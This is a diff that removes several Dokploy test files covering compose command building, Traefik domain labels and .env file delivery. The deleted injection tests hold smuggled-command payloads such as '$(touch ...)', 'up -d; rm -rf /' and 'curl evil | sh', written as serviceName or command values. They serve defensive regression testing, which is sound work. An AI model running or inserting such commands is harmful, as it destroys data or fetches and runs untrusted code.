-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { createCommand } from "@dokploy/server/utils/builders/compose";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
-
-const base = {
-	composeType: "docker-compose" as const,
-	appName: "compose-app",
-	sourceType: "raw" as const,
-	command: "",
-	composePath: "docker-compose.yml",
-};
-
-// createCommand output is interpolated as `docker ${command}` at the deploy
-// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
-const runsSafely = (command: string) => {
-	if (existsSync(MARK)) rmSync(MARK);
-	try {
-		execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
-	} catch {}
-	const fired = existsSync(MARK);
-	if (existsSync(MARK)) rmSync(MARK);
-	return !fired;
-};
-
-const PAYLOADS = [
-	`$(touch ${MARK})`,
-	`\`touch ${MARK}\``,
-	`x; touch ${MARK}`,
-	`x | touch ${MARK}`,
-];
-
-describe("compose createCommand injection", () => {
-	it("escapes composePath (docker-compose)", () => {
-		for (const p of PAYLOADS) {
-			const cmd = createCommand({
-				...base,
-				sourceType: "github",
-				composePath: p,
-			} as any);
-			expect(runsSafely(cmd)).toBe(true);
-		}
-	});
-
-	it("escapes composePath (stack deploy)", () => {
-		for (const p of PAYLOADS) {
-			const cmd = createCommand({
-				...base,
-				composeType: "stack",
-				sourceType: "github",
-				composePath: p,
-			} as any);
-			expect(runsSafely(cmd)).toBe(true);
-		}
-	});
-
-	it("escapes appName", () => {
-		for (const p of PAYLOADS) {
-			const cmd = createCommand({
-				...base,
-				sourceType: "github",
-				appName: p,
-				composePath: "docker-compose.yml",
-			} as any);
-			expect(runsSafely(cmd)).toBe(true);
-		}
-	});
-
-	it("rejects a custom command containing shell control characters", () => {
-		for (const bad of [
-			"up -d; rm -rf /",
-			"up && curl evil | sh",
-			"up $(touch x)",
-			"up `id`",
-		]) {
-			expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
-				/Invalid characters/,
-			);
-		}
-	});
-
-	it("allows a legitimate custom command", () => {
-		const cmd = createCommand({
-			...base,
-			command: "compose -f docker-compose.yml -p app up -d --build",
-		} as any);
-		expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
-	});
-
-	it("keeps a legitimate composePath intact", () => {
-		const cmd = createCommand({
-			...base,
-			sourceType: "github",
-			composePath: "deploy/docker-compose.prod.yml",
-		} as any);
-		expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
-		expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
-			"deploy/docker-compose.prod.yml",
-		);
-	});
-
-	it("allows chained docker compose commands with '&&'", () => {
-		const cmd = createCommand({
-			...base,
-			command:
-				"compose pull && docker compose down && docker compose up -d --build",
-		} as any);
-		expect(cmd).toBe(
-			"compose pull && docker compose down && docker compose up -d --build",
-		);
-	});
-
-	it("allows chaining with the legacy 'docker-compose' spelling", () => {
-		const cmd = createCommand({
-			...base,
-			command: "compose pull && docker-compose down",
-		} as any);
-		expect(cmd).toBe("compose pull && docker-compose down");
-	});
-
-	it("rejects a single '&' used for backgrounding", () => {
-		expect(() =>
-			createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
-		).toThrow(/Single '&' is not allowed/);
-	});
-
-	it("rejects a malformed '&&&' chain", () => {
-		expect(() =>
-			createCommand({
-				...base,
-				command: "compose pull &&& docker compose up -d",
-			} as any),
-		).toThrow(/Single '&' is not allowed/);
-	});
-
-	it("rejects chained segments that are not docker compose invocations", () => {
-		expect(() =>
-			createCommand({
-				...base,
-				command: "compose pull && rm -rf /",
-			} as any),
-		).toThrow(/must strictly start with 'docker compose '/);
-	});
-
-	it("rejects an attempted injection smuggled inside a chained segment", () => {
-		for (const bad of [
-			"compose pull && docker compose up -d; touch /tmp/pwn",
-			"compose pull && docker compose up -d $(touch /tmp/pwn)",
-			"compose pull && docker compose up -d `touch /tmp/pwn`",
-			"compose pull && docker compose up -d | touch /tmp/pwn",
-		]) {
-			expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
-				/Invalid characters/,
-			);
-		}
-	});
-
-	it("rejects a chain that only pretends to start with docker compose later in the string", () => {
-		expect(() =>
-			createCommand({
-				...base,
-				command: "compose pull && curl evil.sh | docker compose up -d",
-			} as any),
-		).toThrow(/Invalid characters/);
-	});
-});

apps/dokploy/__test__/compose/domain-command-injection.test.ts

@@ -1,69 +0,0 @@
-import { parse } from "shell-quote";
-import { describe, expect, it, vi } from "vitest";
-
-// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
-// "exists" but does not contain the attacker's service, forcing the error path
-// whose message embeds the user-controlled serviceName.
-vi.mock("node:fs", async (importOriginal) => {
-	const actual = await importOriginal<typeof import("node:fs")>();
-	return {
-		...actual,
-		existsSync: () => true,
-		readFileSync: () => "services:\n  web:\n    image: nginx\n",
-	};
-});
-
-import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
-
-const baseCompose = {
-	appName: "my-app",
-	serverId: null,
-	composeType: "docker-compose",
-	sourceType: "raw",
-	composePath: "docker-compose.yml",
-	isolatedDeployment: false,
-	randomize: false,
-	suffix: "",
-} as any;
-
-const makeDomain = (serviceName: string) =>
-	({
-		host: "example.com",
-		serviceName,
-		https: false,
-		uniqueConfigKey: 1,
-		port: 3000,
-		enabled: true,
-	}) as any;
-
-// If the returned shell fragment is safe, parse() yields only string tokens.
-// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
-const leaksShellSyntax = (command: string, marker: string) =>
-	parse(command).some(
-		(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
-	);
-
-describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
-	it("does not let a malicious serviceName inject shell operators", async () => {
-		const result = await writeDomainsToCompose(baseCompose, [
-			makeDomain("$(touch /tmp/pwned)"),
-		]);
-
-		// The service does not exist in the compose, so we hit the error branch.
-		expect(result).toContain("Has occurred an error");
-		// The payload text may appear inside the single-quoted echo argument, but
-		// it must never parse as a shell operator ($(), backtick, ; …).
-		expect(leaksShellSyntax(result, "touch")).toBe(false);
-	});
-
-	it("neutralizes backtick and semicolon payloads too", async () => {
-		for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
-			const result = await writeDomainsToCompose(baseCompose, [
-				makeDomain(`svc${payload}`),
-			]);
-			expect(leaksShellSyntax(result, "rm")).toBe(false);
-			expect(leaksShellSyntax(result, "curl")).toBe(false);
-			expect(leaksShellSyntax(result, "id")).toBe(false);
-		}
-	});
-});

apps/dokploy/__test__/compose/domain/enabled-filter.test.ts

@@ -1,306 +0,0 @@
-import type { Compose } from "@dokploy/server/services/compose";
-import type { Domain } from "@dokploy/server/services/domain";
-import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-// With sourceType "raw", addDomainToCompose parses compose.composeFile
-// directly instead of reading from disk, so baseCompose exposes it as a
-// getter that always reflects the current composeYaml for each test case.
-const baseComposeYaml = `
-services:
-  frigate:
-    image: frigate
-`;
-let composeYaml = baseComposeYaml;
-
-const baseCompose = {
-	appName: "test-app",
-	composeType: "docker-compose",
-	composePath: "docker-compose.yml",
-	sourceType: "raw",
-	serverId: null,
-	isolatedDeployment: false,
-	randomize: false,
-	suffix: "",
-	get composeFile() {
-		return composeYaml;
-	},
-} as unknown as Compose;
-
-const baseDomain: Domain = {
-	host: "frigate.example.com",
-	port: 8971,
-	customEntrypoint: null,
-	https: false,
-	uniqueConfigKey: 1,
-	customCertResolver: null,
-	certificateType: "none",
-	applicationId: "",
-	composeId: "compose-id",
-	domainType: "compose",
-	serviceName: "frigate",
-	domainId: "domain-id",
-	path: "/",
-	createdAt: "",
-	previewDeploymentId: "",
-	internalPath: "/",
-	stripPath: false,
-	middlewares: null,
-	forwardAuthEnabled: false,
-	enabled: true,
-};
-
-const serviceLabels = (
-	result: Awaited<ReturnType<typeof addDomainToCompose>>,
-) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
-
-describe("addDomainToCompose enabled filtering", () => {
-	beforeEach(() => {
-		vi.clearAllMocks();
-		composeYaml = baseComposeYaml;
-	});
-
-	it("generates traefik labels for an enabled domain", async () => {
-		const result = await addDomainToCompose(baseCompose, [
-			{ ...baseDomain, enabled: true },
-		]);
-
-		const labels = serviceLabels(result);
-		expect(labels).toContain("traefik.enable=true");
-		expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
-			true,
-		);
-	});
-
-	it("skips a disabled domain entirely (no traefik labels)", async () => {
-		const result = await addDomainToCompose(baseCompose, [
-			{ ...baseDomain, enabled: false },
-		]);
-
-		const labels = serviceLabels(result);
-		expect(labels).not.toContain("traefik.enable=true");
-		expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
-			false,
-		);
-	});
-
-	it.each([
-		[
-			"docker-compose",
-			`services:
-  frigate:
-    image: frigate
-    labels:
-      - traefik.enable=true
-      - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
-      - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
-      - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
-      - custom.label=preserved
-`,
-		],
-		[
-			"stack",
-			`services:
-  frigate:
-    image: frigate
-    deploy:
-      labels:
-        - traefik.enable=true
-        - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
-        - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
-        - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
-        - custom.label=preserved
-`,
-		],
-	] as const)(
-		"removes stale labels for a disabled domain from %s rebuilds",
-		async (composeType, staleComposeYaml) => {
-			composeYaml = staleComposeYaml;
-
-			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
-				{ ...baseDomain, enabled: false },
-			]);
-
-			const service = result?.services?.frigate;
-			const labels =
-				composeType === "docker-compose"
-					? service?.labels
-					: service?.deploy?.labels;
-			expect(labels).toContain("custom.label=preserved");
-			expect(
-				(labels as string[]).some((label) => label.includes("test-app-1")),
-			).toBe(false);
-		},
-	);
-
-	it.each([
-		[
-			"docker-compose",
-			`services:
-  legacy:
-    image: frigate
-    labels:
-      - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
-      - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
-      - custom.label=preserved
-  frigate:
-    image: frigate
-`,
-		],
-		[
-			"stack",
-			`services:
-  legacy:
-    image: frigate
-    deploy:
-      labels:
-        - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
-        - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
-        - custom.label=preserved
-  frigate:
-    image: frigate
-`,
-		],
-	] as const)(
-		"removes stale labels from the previous %s service after reassignment",
-		async (composeType, staleComposeYaml) => {
-			composeYaml = staleComposeYaml;
-
-			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
-				{ ...baseDomain, serviceName: "frigate", enabled: false },
-			]);
-
-			const previousService = result?.services?.legacy;
-			const labels =
-				composeType === "docker-compose"
-					? previousService?.labels
-					: previousService?.deploy?.labels;
-			expect(labels).toContain("custom.label=preserved");
-			expect(
-				(labels as string[]).some((label) => label.includes("test-app-1")),
-			).toBe(false);
-		},
-	);
-
-	it.each([
-		[
-			"docker-compose",
-			`services:
-  frigate:
-    image: frigate
-    labels:
-      traefik.enable: "true"
-      traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
-      traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
-      traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
-      custom.label: preserved
-`,
-		],
-		[
-			"stack",
-			`services:
-  frigate:
-    image: frigate
-    deploy:
-      labels:
-        traefik.enable: "true"
-        traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
-        traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
-        traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
-        custom.label: preserved
-`,
-		],
-	] as const)(
-		"removes stale mapping labels for a disabled domain from %s rebuilds",
-		async (composeType, staleComposeYaml) => {
-			composeYaml = staleComposeYaml;
-
-			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
-				{ ...baseDomain, enabled: false },
-			]);
-
-			const service = result?.services?.frigate;
-			const labels =
-				composeType === "docker-compose"
-					? service?.labels
-					: service?.deploy?.labels;
-			expect(labels).toMatchObject({ "custom.label": "preserved" });
-			expect(
-				Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")),
-			).toBe(false);
-		},
-	);
-
-	it.each([
-		[
-			"docker-compose",
-			`services:
-  frigate:
-    image: frigate
-    labels:
-      traefik.enable: "true"
-      traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
-      traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
-      custom.label: preserved
-`,
-			"traefik.docker.network",
-		],
-		[
-			"stack",
-			`services:
-  frigate:
-    image: frigate
-    deploy:
-      labels:
-        traefik.enable: "true"
-        traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
-        traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
-        custom.label: preserved
-`,
-			"traefik.swarm.network",
-		],
-	] as const)(
-		"regenerates routing in mapping labels for an enabled domain in %s",
-		async (composeType, mappingComposeYaml, networkLabel) => {
-			composeYaml = mappingComposeYaml;
-
-			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
-				{ ...baseDomain, enabled: true },
-			]);
-
-			const service = result?.services?.frigate;
-			const labels =
-				composeType === "docker-compose"
-					? service?.labels
-					: service?.deploy?.labels;
-			expect(labels).toMatchObject({
-				"custom.label": "preserved",
-				"traefik.enable": "true",
-				[networkLabel]: "dokploy-network",
-				"traefik.http.routers.test-app-1-web.rule":
-					"Host(`frigate.example.com`)",
-				"traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971",
-			});
-		},
-	);
-
-	it("emits labels only for the enabled domain when both are present", async () => {
-		const result = await addDomainToCompose(baseCompose, [
-			{ ...baseDomain, host: "enabled.example.com", enabled: true },
-			{
-				...baseDomain,
-				host: "disabled.example.com",
-				uniqueConfigKey: 2,
-				enabled: false,
-			},
-		]);
-
-		const labels = serviceLabels(result);
-		expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
-			true,
-		);
-		expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
-			false,
-		);
-	});
-});

apps/dokploy/__test__/compose/domain/host-rule-format.test.ts

@@ -34,8 +34,6 @@ describe("Host rule format regression tests", () => {
 		stripPath: false,
 		customEntrypoint: null,
 		middlewares: null,
-		forwardAuthEnabled: false,
-		enabled: true,
 	};
 
 	describe("Host rule format validation", () => {

apps/dokploy/__test__/compose/domain/labels.test.ts

@@ -23,8 +23,6 @@ describe("createDomainLabels", () => {
 		internalPath: "/",
 		stripPath: false,
 		middlewares: null,
-		forwardAuthEnabled: false,
-		enabled: true,
 	};
 
 	it("should create basic labels for web entrypoint", async () => {
@@ -105,51 +103,6 @@ describe("createDomainLabels", () => {
 		);
 	});
 
-	it("should add tls=true for certificateType none on websecure entrypoint", async () => {
-		const noneDomain = {
-			...baseDomain,
-			https: true,
-			certificateType: "none" as const,
-		};
-		const labels = await createDomainLabels(appName, noneDomain, "websecure");
-		expect(labels).toContain(
-			"traefik.http.routers.test-app-1-websecure.tls=true",
-		);
-		// no cert resolver should be set when relying on a default/custom cert
-		expect(labels).not.toContain(
-			"traefik.http.routers.test-app-1-websecure.tls.certresolver=letsencrypt",
-		);
-	});
-
-	it("should not add tls=true for certificateType none on web entrypoint", async () => {
-		const noneDomain = {
-			...baseDomain,
-			https: true,
-			certificateType: "none" as const,
-		};
-		const labels = await createDomainLabels(appName, noneDomain, "web");
-		expect(labels).not.toContain(
-			"traefik.http.routers.test-app-1-web.tls=true",
-		);
-	});
-
-	it("should add tls=true for certificateType none on a custom https entrypoint", async () => {
-		const noneDomain = {
-			...baseDomain,
-			https: true,
-			customEntrypoint: "websecure-custom",
-			certificateType: "none" as const,
-		};
-		const labels = await createDomainLabels(
-			appName,
-			noneDomain,
-			"websecure-custom",
-		);
-		expect(labels).toContain(
-			"traefik.http.routers.test-app-1-websecure-custom.tls=true",
-		);
-	});
-
 	it("should handle different ports correctly", async () => {
 		const customPortDomain = { ...baseDomain, port: 3000 };
 		const labels = await createDomainLabels(appName, customPortDomain, "web");

apps/dokploy/__test__/compose/domain/raw-compose.test.ts

@@ -1,59 +0,0 @@
-import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
-import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
-import { describe, expect, it, vi } from "vitest";
-
-vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
-	...(await importOriginal<
-		typeof import("@dokploy/server/utils/process/execAsync")
-	>()),
-	execAsyncRemote: vi.fn(),
-}));
-
-describe("raw remote compose conversion (#4794)", () => {
-	it("uses the saved raw source and preserves supported mount syntax", async () => {
-		vi.mocked(execAsyncRemote).mockResolvedValue({
-			stdout: "services:\n  test:\n    image: alpine:latest\n",
-			stderr: "",
-		});
-
-		const compose = {
-			appName: "raw-stack",
-			composeFile: `
-services:
-  test:
-    image: alpine:latest
-    volumes:
-      - type: tmpfs
-        target: /scratch
-      - type: volume
-        source: test-data
-        target: /data
-    tmpfs:
-      - /cache
-volumes:
-  test-data:
-`,
-			composePath: "./docker-compose.yml",
-			composeType: "stack",
-			isolatedDeployment: false,
-			isolatedDeploymentsVolume: false,
-			randomize: false,
-			serverId: "remote-server",
-			sourceType: "raw",
-			suffix: "",
-		} as unknown as Parameters<typeof addDomainToCompose>[0];
-
-		const converted = await addDomainToCompose(compose, []);
-
-		expect(converted?.services?.test?.volumes).toEqual([
-			{ type: "tmpfs", target: "/scratch" },
-			{
-				type: "volume",
-				source: "test-data",
-				target: "/data",
-			},
-		]);
-		expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
-		expect(execAsyncRemote).not.toHaveBeenCalled();
-	});
-});

apps/dokploy/__test__/compose/env-delivery.real.test.ts

@@ -1,144 +0,0 @@
-import { execFileSync } from "node:child_process";
-import { mkdirSync, rmSync, writeFileSync } from "node:fs";
-import { join } from "node:path";
-import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
-import { afterAll, describe, expect, it } from "vitest";
-
-// Real end-to-end: the same Environment Settings text must reach a *running*
-// container with identical values under docker-compose and under swarm stack.
-// Covers https://github.com/Dokploy/dokploy/issues/5095 and /5096.
-
-// exactly what a user types in the Environment Settings tab
-const uiEnv = [
-	"SENTRY_DSN=https://examplePublicKey@o0.ingest.sentry.io/0",
-	"PASSWORD=mysecret#",
-	"MIDDLE=sec#ret",
-	"SHEBANG=#!secret",
-	"DOLLARS=pa$$word",
-	"SPACED=hello world",
-	'JSON={"a":1}',
-	"COMMENTED=value # a real comment",
-	'QUOTED_HASH="abc#de"',
-].join("\n");
-
-const expected: Record<string, string> = {
-	SENTRY_DSN: "https://examplePublicKey@o0.ingest.sentry.io/0",
-	PASSWORD: "mysecret#",
-	MIDDLE: "sec#ret",
-	SHEBANG: "#!secret",
-	DOLLARS: "pa$$word",
-	SPACED: "hello world",
-	JSON: '{"a":1}',
-	COMMENTED: "value",
-	QUOTED_HASH: "abc#de",
-};
-
-const keys = Object.keys(expected);
-const composeApp = `env-delivery-c${process.pid}`;
-const stackApp = `env-delivery-s${process.pid}`;
-const pathFor = (app: string) =>
-	join(process.cwd(), ".docker", "compose", app, "code");
-
-const sh = (cmd: string, args: string[], cwd?: string) =>
-	execFileSync(cmd, args, { cwd, encoding: "utf8" });
-
-const setup = (
-	app: string,
-	composeType: "docker-compose" | "stack",
-	svc: string,
-) => {
-	const codePath = pathFor(app);
-	mkdirSync(codePath, { recursive: true });
-	sh("bash", [
-		"-c",
-		getCreateEnvFileCommand({
-			appName: app,
-			composePath: "docker-compose.yml",
-			composeType,
-			env: uiEnv,
-			randomize: false,
-			suffix: "",
-			serverId: null,
-			environment: { project: { env: "" }, env: "" },
-		} as Parameters<typeof getCreateEnvFileCommand>[0]),
-	]);
-	writeFileSync(join(codePath, "docker-compose.yml"), svc);
-	return codePath;
-};
-
-// `printenv` per key, NUL-delimited so values keep their spaces and #
-const dumpScript = keys.map((k) => `printf '%s\\0' "$${k}"`).join("; ");
-
-const parseDump = (out: string) =>
-	Object.fromEntries(
-		out
-			.split("\0")
-			.slice(0, keys.length)
-			.map((v, i) => [keys[i] as string, v]),
-	);
-
-afterAll(() => {
-	try {
-		sh("docker", ["stack", "rm", stackApp]);
-	} catch {}
-	try {
-		sh("docker", ["compose", "down", "--remove-orphans"], pathFor(composeApp));
-	} catch {}
-	for (const app of [composeApp, stackApp]) {
-		rmSync(join(process.cwd(), ".docker", "compose", app), {
-			force: true,
-			recursive: true,
-		});
-	}
-});
-
-describe("env delivery into a running container", () => {
-	it("docker-compose: values survive compose-go interpolation", () => {
-		const codePath = setup(
-			composeApp,
-			"docker-compose",
-			"services:\n  app:\n    image: busybox\n    env_file: .env\n",
-		);
-
-		const out = sh(
-			"docker",
-			["compose", "run", "--rm", "-T", "app", "sh", "-c", dumpScript],
-			codePath,
-		);
-
-		expect(parseDump(out)).toEqual(expected);
-	}, 120000);
-
-	it("swarm stack: values survive the literal env-file parser", () => {
-		const codePath = setup(
-			stackApp,
-			"stack",
-			"services:\n  app:\n    image: busybox\n    command: sleep 300\n    env_file: .env\n",
-		);
-
-		sh(
-			"docker",
-			["stack", "deploy", "-c", "docker-compose.yml", stackApp],
-			codePath,
-		);
-
-		let containerId = "";
-		for (let i = 0; i < 60 && !containerId; i++) {
-			containerId = (
-				sh("docker", [
-					"ps",
-					"--filter",
-					`label=com.docker.swarm.service.name=${stackApp}_app`,
-					"--format",
-					"{{.ID}}",
-				]).split("\n")[0] ?? ""
-			).trim();
-			if (!containerId) execFileSync("sleep", ["1"]);
-		}
-		expect(containerId, "swarm task never started").toBeTruthy();
-
-		const out = sh("docker", ["exec", containerId, "sh", "-c", dumpScript]);
-
-		expect(parseDump(out)).toEqual(expected);
-	}, 180000);
-});

apps/dokploy/__test__/compose/env-file-compose-type.test.ts

@@ -1,79 +0,0 @@
-import { execFileSync } from "node:child_process";
-import { mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
-import { join } from "node:path";
-import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
-import { prepareEnvironmentVariablesForFile } from "@dokploy/server/utils/docker/utils";
-import { afterEach, describe, expect, it } from "vitest";
-
-// https://github.com/Dokploy/dokploy/issues/5096 — compose-go interpolates the
-// generated .env, docker stack deploy reads it literally; quoting cannot serve both.
-
-const appName = `env-file-compose-type-${process.pid}`;
-const projectPath = join(process.cwd(), ".docker", "compose", appName);
-const codePath = join(projectPath, "code");
-
-afterEach(() => {
-	rmSync(projectPath, { force: true, recursive: true });
-});
-
-const buildEnvFile = (composeType: "docker-compose" | "stack", env: string) => {
-	mkdirSync(codePath, { recursive: true });
-	const command = getCreateEnvFileCommand({
-		appName,
-		composePath: "docker-compose.yml",
-		composeType,
-		env,
-		randomize: false,
-		suffix: "",
-		serverId: null,
-		environment: { project: { env: "" }, env: "" },
-	} as Parameters<typeof getCreateEnvFileCommand>[0]);
-	execFileSync("bash", ["-c", command]);
-	return readFileSync(join(codePath, ".env"), "utf8");
-};
-
-describe("prepareEnvironmentVariablesForFile", () => {
-	const env = "DSN=https://key@o0.io/0\nPASSWORD=pa$$word";
-
-	it("quotes and escapes by default, for the docker-compose .env", () => {
-		expect(prepareEnvironmentVariablesForFile(env, "", "")).toEqual([
-			'DSN="https://key@o0.io/0"',
-			'PASSWORD="pa\\$\\$word"',
-		]);
-	});
-
-	it("writes values untouched when raw", () => {
-		expect(prepareEnvironmentVariablesForFile(env, "", "", true)).toEqual([
-			"DSN=https://key@o0.io/0",
-			"PASSWORD=pa$$word",
-		]);
-	});
-});
-
-describe("getCreateEnvFileCommand", () => {
-	it("writes a stack .env that docker reads back without the wrapping quotes", () => {
-		const contents = buildEnvFile("stack", "DSN=https://key@o0.io/0");
-		expect(contents).toContain("DSN=https://key@o0.io/0");
-		expect(contents).not.toContain('DSN="');
-
-		writeFileSync(
-			join(codePath, "docker-compose.yml"),
-			"services:\n  test:\n    image: busybox\n    env_file: .env\n",
-		);
-
-		const rendered = execFileSync(
-			"docker",
-			["stack", "config", "-c", "docker-compose.yml"],
-			{ cwd: codePath, encoding: "utf8" },
-		);
-
-		expect(rendered).toContain("DSN: https://key@o0.io/0");
-		// #5096 symptom: quotes surviving into the value
-		expect(rendered).not.toContain("DSN: '\"");
-	}, 60000);
-
-	it("keeps quoting the docker-compose .env so $ survives interpolation", () => {
-		const contents = buildEnvFile("docker-compose", "PASSWORD=pa$$word");
-		expect(contents).toContain('PASSWORD="pa\\$\\$word"');
-	});
-});

apps/dokploy/__test__/compose/env-file-literals.test.ts

@@ -1,96 +0,0 @@
-import { execFileSync } from "node:child_process";
-import { mkdirSync, rmSync, writeFileSync } from "node:fs";
-import { join } from "node:path";
-import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
-import { afterEach, describe, expect, it } from "vitest";
-
-// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
-// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
-const appName = `env-file-literals-${process.pid}`;
-const projectPath = join(process.cwd(), ".docker", "compose", appName);
-const codePath = join(projectPath, "code");
-
-afterEach(() => {
-	try {
-		execFileSync("docker", ["compose", "down", "--remove-orphans"], {
-			cwd: codePath,
-			stdio: "ignore",
-		});
-	} catch {
-		// Project may not have been created (e.g. an earlier assertion failed).
-	}
-	rmSync(projectPath, { force: true, recursive: true });
-});
-
-const cases: Record<string, string> = {
-	PASSWORD: "pa$$word",
-	SPECIAL: '!"#$%&/()=?',
-	NESTED_JSON: '{"nested":{"a":1}}',
-	MAIL_PASSWORD: "abc#de",
-	TRAILING_BACKSLASH: "trailing\\",
-	QUOTE_INSIDE: 'she said "hi"',
-	APOSTROPHE: "it's a test",
-	UNICODE: "héllo wörld 日本語 🚀",
-	MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
-};
-
-// How each value must be typed in the UI so the env input parser resolves it
-// to the raw string in `cases` above.
-const inputEncoding: Record<string, string> = {
-	PASSWORD: "pa$$word",
-	SPECIAL: `'!"#$%&/()=?'`,
-	NESTED_JSON: '{"nested":{"a":1}}',
-	MAIL_PASSWORD: "abc#de",
-	TRAILING_BACKSLASH: "trailing\\",
-	QUOTE_INSIDE: 'she said "hi"',
-	APOSTROPHE: "it's a test",
-	UNICODE: "héllo wörld 日本語 🚀",
-	MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
-};
-
-describe("getCreateEnvFileCommand", () => {
-	it("writes special environment values that Docker Compose reads back literally", () => {
-		mkdirSync(codePath, { recursive: true });
-
-		const serviceEnv = Object.entries(inputEncoding)
-			.map(([key, value]) => `${key}=${value}`)
-			.join("\n");
-
-		const command = getCreateEnvFileCommand({
-			appName,
-			composePath: "docker-compose.yml",
-			env: serviceEnv,
-			randomize: false,
-			suffix: "",
-			serverId: null,
-			environment: { project: { env: "" }, env: "" },
-		} as Parameters<typeof getCreateEnvFileCommand>[0]);
-
-		execFileSync("bash", ["-c", command]);
-
-		const composeFile = `services:\n  test:\n    image: busybox\n    environment:\n${Object.keys(
-			cases,
-		)
-			.map((key) => `      - ${key}=\${${key}}`)
-			.join("\n")}\n`;
-		writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
-
-		const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
-
-		const out = execFileSync(
-			"docker",
-			["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
-			{ cwd: codePath, encoding: "utf8" },
-		);
-
-		const parts = out.split("\0");
-		const actual: Record<string, string> = {};
-		for (let i = 0; i < parts.length - 1; i += 2) {
-			actual[parts[i] as string] = parts[i + 1] as string;
-		}
-
-		for (const [key, value] of Object.entries(cases)) {
-			expect(actual[key], key).toBe(value);
-		}
-	}, 60000);
-});

apps/dokploy/__test__/compose/env-file-preserved.test.ts

@@ -1,45 +0,0 @@
-import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
-import { describe, expect, it, vi } from "vitest";
-
-// Compose now has a `createEnvFile` toggle (default true), mirroring the
-// Application builder's flag: when disabled, Dokploy never writes `.env`,
-// so a repo-tracked file survives untouched.
-vi.mock("@dokploy/server/utils/docker/domain", () => ({
-	writeDomainsToCompose: vi.fn().mockResolvedValue(""),
-}));
-
-const baseCompose = {
-	appName: "env-file-toggle",
-	sourceType: "raw",
-	command: "",
-	composePath: "docker-compose.yml",
-	composeType: "docker-compose",
-	isolatedDeployment: false,
-	randomize: false,
-	suffix: "",
-	serverId: null,
-	env: "FOO=bar",
-	mounts: [],
-	domains: [],
-	environment: { project: { env: "" }, env: "" },
-} as unknown as Parameters<typeof getBuildComposeCommand>[0];
-
-describe("getBuildComposeCommand createEnvFile toggle", () => {
-	it("createEnvFile: false never writes the .env file", async () => {
-		const command = await getBuildComposeCommand({
-			...baseCompose,
-			createEnvFile: false,
-		});
-
-		expect(command).not.toContain("base64 -d >");
-	});
-
-	it("createEnvFile: true (default) writes Dokploy's vars", async () => {
-		const command = await getBuildComposeCommand({
-			...baseCompose,
-			createEnvFile: true,
-		});
-
-		expect(command).toContain("base64 -d >");
-	});
-});

apps/dokploy/__test__/compose/network/service-networks.test.ts

@@ -1,199 +0,0 @@
-import type { Compose, ComposeSpecification } from "@dokploy/server";
-import {
-	applyServiceNetworks,
